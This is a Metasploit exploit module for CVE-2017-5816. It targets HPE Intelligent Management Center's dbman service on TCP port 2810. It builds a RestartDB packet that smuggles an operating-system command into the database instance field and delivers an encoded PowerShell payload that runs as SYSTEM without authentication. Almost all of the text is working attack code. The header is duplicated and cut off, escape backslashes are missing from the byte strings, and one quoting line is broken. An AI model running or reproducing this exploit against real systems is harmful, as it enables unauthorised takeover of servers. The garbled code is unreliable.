HPE iMC dbman RestartDB Unauthenticated Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell

def initialize(info = {})
super(update_info(info,
'Name' => 'HPE iMC dbman RestartDB Unauthenticated RCE',
'Description' => %q{
This module exploits a remote command execution vulnerablity in
Hewlett Packard Enterprise Intelligent Management Center before
version 7.3 E0504P04.

The dbman service allows unauthenticated remote users to restart
a user-specified database instance (OpCode 10008), however the
instance ID is not sanitized, allowing execution of arbitrary
operating system commands as SYSTEM. This service listens on
TCP port 2810 by default.

This module has been tested successfully on iMC PLAT v7.2 (E0403)
on Windows 7 SP1 (EN).
},
'License' => MSF_LICENSE,
'Author' =>
[
'sztivi', # Discovery
'Chris Lyne', # Python PoC (@lynerc)
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'References' =>
[
['CVE', '2017-5816'],
['EDB', '43198'],
['ZDI', '17-340'],
['URL', 'https://www.securityfocus.com/bid/98469/info'],
['URL', 'https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03745en_us']
],
'Platform' => 'win',
'Targets' => [['Automatic', {}]],
'Payload' => { 'BadChars' => "x00" },
'DefaultOptions' => { 'WfsDelay' => 15 },
'Privileged' => true,
'DisclosureDate' => 'May 15 2017',
'DefaultTarget' => 0))
register_options [Opt::RPORT(2810)]
end

def check
# empty RestartDB packet
pkt = [10008].pack('N')

connect
sock.put pkt
res = sock.get_once
disconnect

# Expected reply:
# "x00x00x00x01x00x00x00:08x02x01xFFx043Dbman deal msg error, please to see dbman_debug.log"
return CheckCode::Detected if res =~ /dbman/i

CheckCode::Safe
end

def dbman_msg(db_instance)
data = ''

db_ip = "#{rand(255)}.#{rand(255)}.#{rand(255)}.#{rand(255)}"
db_type = "x04" # SQL Server
db_sa_username = rand_text_alpha rand(1..5)
db_sa_password = rand_text_alpha rand(1..5)
ora_db_ins = rand_text_alpha rand(1..5)

# dbIp
data << "x04"
data << [db_ip.length].pack('C')
data << db_ip

# iDBType
data << "x02"
data << [db_type.length].pack('C')
data << db_type

# dbInstance
data << "x04"
data << "x82"
data << [db_instance.length].pack('n')
data << db_instance

# dbSaUserName
data << "x04"
data << [db_sa_username.length].pack('C')
data << db_sa_username

# dbSaPassword
data << "x04"
data << [db_sa_password.length].pack('C')
data << db_sa_password

# strOraDbIns
data << "x04"
data << [ora_db_ins.length].pack('C')
data << ora_db_ins

data
end

def dbman_restartdb_pkt(db_instance)
data = dbman_msg db_instance

# opcode 10008 (RestartDB)
pkt = [10008].pack('N')

# packet length
pkt << "x00x00"
pkt << [data.length + 4].pack('n')

# packet data length
pkt << "x30x82"
pkt << [data.length].pack('n')

# packet data
pkt << data

pkt
end

def execute_command(cmd, _opts = {})
connect
sock.put dbman_restartdb_pkt ""& #{cmd} &"
disconnect
end

def exploit
command = cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
{ :remove_comspec => true, :encode_final_payload => true }
)

if command.length > 8000
fail_with Failure::BadConfig, "#{peer} - The selected payload is too long to execute through Powershell in one command"
end

print_status "Sending payload (#{command.length} bytes)..."
execute_command command
end
end